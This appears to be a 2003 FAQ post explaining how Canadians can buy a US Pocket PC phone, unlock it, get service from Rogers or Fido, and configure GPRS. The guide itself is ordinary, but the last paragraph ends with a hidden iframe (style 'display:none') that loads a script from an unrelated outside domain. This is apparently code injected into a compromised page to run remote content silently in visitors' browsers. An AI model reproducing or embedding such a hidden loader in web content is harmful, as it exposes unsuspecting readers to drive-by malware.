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It is definitely possible to have a PPCPE in Canada. Obviously if you are travelling in Canada, you will roam with whomever your carrier has an agreement with. Since all PPCPEs are currently GSM, this will be Microcell/Fido or Rogers.
However, if you are a Canadian and want to own one, until the carriers start selling them, it is possible to obtain a phone from the US and activate it in Canada. (Note: Rogers did bring in the XDA as the Siemens model, but in small numbers and for almost $1000 CDN. They have signed a deal with Microsoft, so they should have more PPCPE phones and SmartPhones in the near future. Also note that you will not have much technical support for one of these other than through websites like this - though if you are paying for data service, you should expect some assistance from your Canadian carrier; just don't expect them to be familiar with the PPCPE.)
Here's what you do:
1. Buy the phone from Ebay or a retailer who sells non-contract phones (Expansys is one). Some of these phones are unlocked, while some are sold locked to their carrier, usually T-Mobile. As of March, 2003, used phones sell for about $500-600 CDN.
2. If the phone is locked, you will have to have it unlocked to use it on a Canadian carrier. I honestly don't know the legal status of this, as you are buying a used phone so are not under any contract with the original carrier. Anyway, there are two ways to do this - either purchase a serial cable and download the XDA-Manipulator from xda-developers.com or do a Google Groups search on Adam Roth to find his current contact info and testimonials as to his services in this area. Either way should cost you $15 US or so.
3. Get an account with a Canadian carrier. There are 2 GSM choices right now, Rogers or Fido. Fido has better data plans, but a smaller coverage footprint. Both carriers will allow you to purchase a SIM card ($25 I believe) and a data-only plan, or combine a data and phone plan (which would be best, given the nature of the PPCPE). As of writing this, Fido offers a 12 month $50 unlimited data plan, which can be combined with any voice plan. After 12 months it is unclear whether they will force you to pay more, since they don't have any other plans of this nature to switch you to. Rogers matched this with a plan offering unlimited data for $50 per month, but only for 6 months. I have heard that they are making people switch to a different data plan after the 6 months are up. Other plans are on their respective websites.
4. Configure your phone. With the SIM card, all the features of your carrier should be automatically enabled on the phone. You will have to create a new GPRS connection however. Create a new connection, select 'Cellular Line (GPRS)' from the modem list and fill in the following:
Fido Settings: APN - internet.fido.ca / user name: fido / password: fido
- smtp for outgoing email: smtp.gprs.fido.ca
Rogers Settings: APN - internet.com / user name: wapuser1 / password: wap
- smtp for outgoing email: smtp.rogerswirelessdata.com (for now: apparently this may change in the future)
5. Roaming. Fido has GPRS roaming across the US through T-Mobile and Cingular, at no extra cost. Rogers has GPRS roaming through AT&T, though it is seems to suggest on their website that there is a 3 cent per kb charge for this, while another page suggests that it is free.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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